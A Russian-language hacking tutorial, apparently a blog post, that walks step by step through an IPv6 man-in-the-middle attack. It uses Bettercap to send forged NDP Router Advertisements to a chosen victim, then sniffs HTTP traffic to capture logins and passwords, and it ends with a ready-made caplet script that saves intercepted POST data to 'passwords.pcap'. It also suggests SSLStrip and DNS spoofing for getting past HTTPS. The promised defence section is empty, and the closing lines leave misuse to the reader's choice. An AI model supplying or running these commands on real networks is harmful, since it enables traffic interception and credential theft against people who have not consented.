80
Салют, сетевой воин! Сегодня мы нырнем в мутные воды IPv6. Все говорят, что это протокол будущего, безопасный и продуманный. Но я скажу тебе так: где есть сложность, там есть и дыры. И пока админы спят спокойно, думая, что старый добрый ARP-спуфинг мертв, мы провернем его современную, более изощренную версию.
Тема нашего сегодняшнего разбора — Man-in-the-Middle в IPv6-сетях. Мы не будем ковырять древний ARP. Наше оружие — протокол NDP (Neighbor Discovery Protocol). Он сложнее, навороченнее и, как следствие, дает нам больше пространства для маневра.
Поехали!
Часть 1: Теория на пальцах. ARP мертв, да здравствует NDP!
В чем разница и где наша точка входа?
И в чем уязвимость? По умолчанию в NDP нет никакой аутентификации. Любой узел в локальной сети может рассылать поддельные RA-сообщения. Если мы отправим жертве RA-сообщение, в котором скажем, что мы — шлюз, ее операционная система послушно перенаправит весь трафик на нас. Это даже мощнее классического ARP-спуфинга, потому что мы сразу объявляем себя главным, а не притворяемся конкретным узлом.
Часть 2: Инструментарий и полигон
Нам понадобится:
Устанавливаем Bettercap, если его еще нет:
1 |
sudo apt update && sudo apt install bettercap |
Часть 3: Атака. Перехватываем пароли шаг за шагом
Наша цель — перехватить логин и пароль от какого-нибудь незащищенного сайта (HTTP). Да, HTTPS — это проблема, но об этом чуть позже.
Шаг 1: Запускаем Bettercap и разведку
Запускаем инструмент с правами суперпользователя. Он нужен для работы с сетевым интерфейсом на низком уровне.
1 |
sudo bettercap |
Вы попадете в интерактивную консоль bettercap
. Первым делом включаем разведку, чтобы найти цели в сети.
1 2 |
# В консоли bettercap net.recon on |
Bettercap начнет сканировать сеть и показывать найденные хосты, включая их IPv4 и IPv6 адреса. Подожди минуту, а затем посмотри на список целей:
1 |
net.show |
Ты увидишь таблицу с IP и MAC адресами. Выбери IPv6 адрес своей жертвы. Допустим, это fe80::dead:beef:cafe:babe
.
Шаг 2: Запускаем спуфинг
Теперь самое интересное. Мы будем рассылать поддельные Router Advertisement (RA) пакеты, чтобы убедить жертву, что мы — ее шлюз.
1 2 3 4 5 |
# Устанавливаем цель. Если не указать, bettercap будет атаковать всех. set ipv6.spoof.targets fe80::dead:beef:cafe:babe # Включаем спуфинг ipv6.spoof on |
Все. В этот момент машина жертвы уже считает нас роутером. Весь ее трафик (предназначенный для выхода в интернет) теперь течет через нашу Kali машину. Мы — Человек-по-середине.
Шаг 3: Сниффинг и добыча
Трафик идет через нас, но мы его пока не видим. Включаем встроенный сниффер.
1 2 |
# Включаем сниффер net.sniff on |
Теперь попроси жертву зайти на любой сайт с HTTP-авторизацией (например, какой-нибудь старый форум или тестовый сайт вроде http://test.vulnweb.com/login.php
). Как только жертва введет логин и пароль, ты увидишь их в консоли bettercap в чистом виде.
(Иллюстративная картинка того, как это выглядит)
Лайфхак: Как быть с HTTPS?
Bettercap умеет и это! Он может попытаться провести атаку SSLStrip, понижая HTTPS-соединение до HTTP. Для этого нужно запустить еще и http.proxy
. Но современные браузеры и HSTS (HTTP Strict Transport Security) сильно усложняют эту задачу. Самый надежный способ — это DNS-спуфинг: подменить DNS-ответ, направить жертву на свою копию сайта и там уже собрать данные. Но это тема для отдельного гайда.
Часть 4: Автоматизация. Скрипт-каплет для Bettercap
Каждый раз вводить команды руками — для новичков. Мы же профи. Bettercap поддерживает “каплеты” (.cap
файлы) — готовые сценарии атаки.
Создадим файл ipv6_mitm.cap
:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
# ipv6_mitm.cap - Каплет для быстрой атаки MitM в IPv6 сетях # Цель можно задать здесь или через командную строку # set ipv6.spoof.targets fe80::dead:beef:cafe:babe # Включаем спуфинг для IPv6 ipv6.spoof on # Включаем сниффер # Фильтруем только POST запросы, чтобы не видеть лишний мусор set net.sniff.filter "tcp and port 80 and (http.method == 'POST')" set net.sniff.output passwords.pcap # Сохраняем весь трафик в файл для анализа net.sniff on |
Теперь запускаем атаку одной командой:
1 2 |
# Запускаем bettercap с нашим каплетом и указываем цель sudo bettercap -iface eth0 -caplet ipv6_mitm.cap -eval "set ipv6.spoof.targets fe80::dead:beef:cafe:babe" |
-iface eth0
: Укажи свой сетевой интерфейс.-caplet ipv6_mitm.cap
: Загружает наш сценарий.-eval "..."
: Позволяет задать переменную (нашу цель) прямо при запуске.Теперь ты можешь запустить этот скрипт, пойти пить кофе, а потом вернуться и проанализировать файл passwords.pcap
в Wireshark на предмет перехваченных данных.
Часть 5: Защита. Как не стать жертвой?
Знать, как атаковать — полдела. Важно знать, как защищаться.
Вывод
IPv6 — это не крепость. Это просто новый город с новыми улицами, но люди в нем все те же, и проблемы тоже. Пока администраторы сетей не внедряют RA Guard и другие механизмы защиты, локальная сеть остается полем для игр.
Теперь ты знаешь, как работает тьма. Используй это знание с умом. Анализируй свои сети, показывай уязвимости и делай мир чуточку безопаснее. Или нет. Выбор за тобой.
Удачи на поле боя.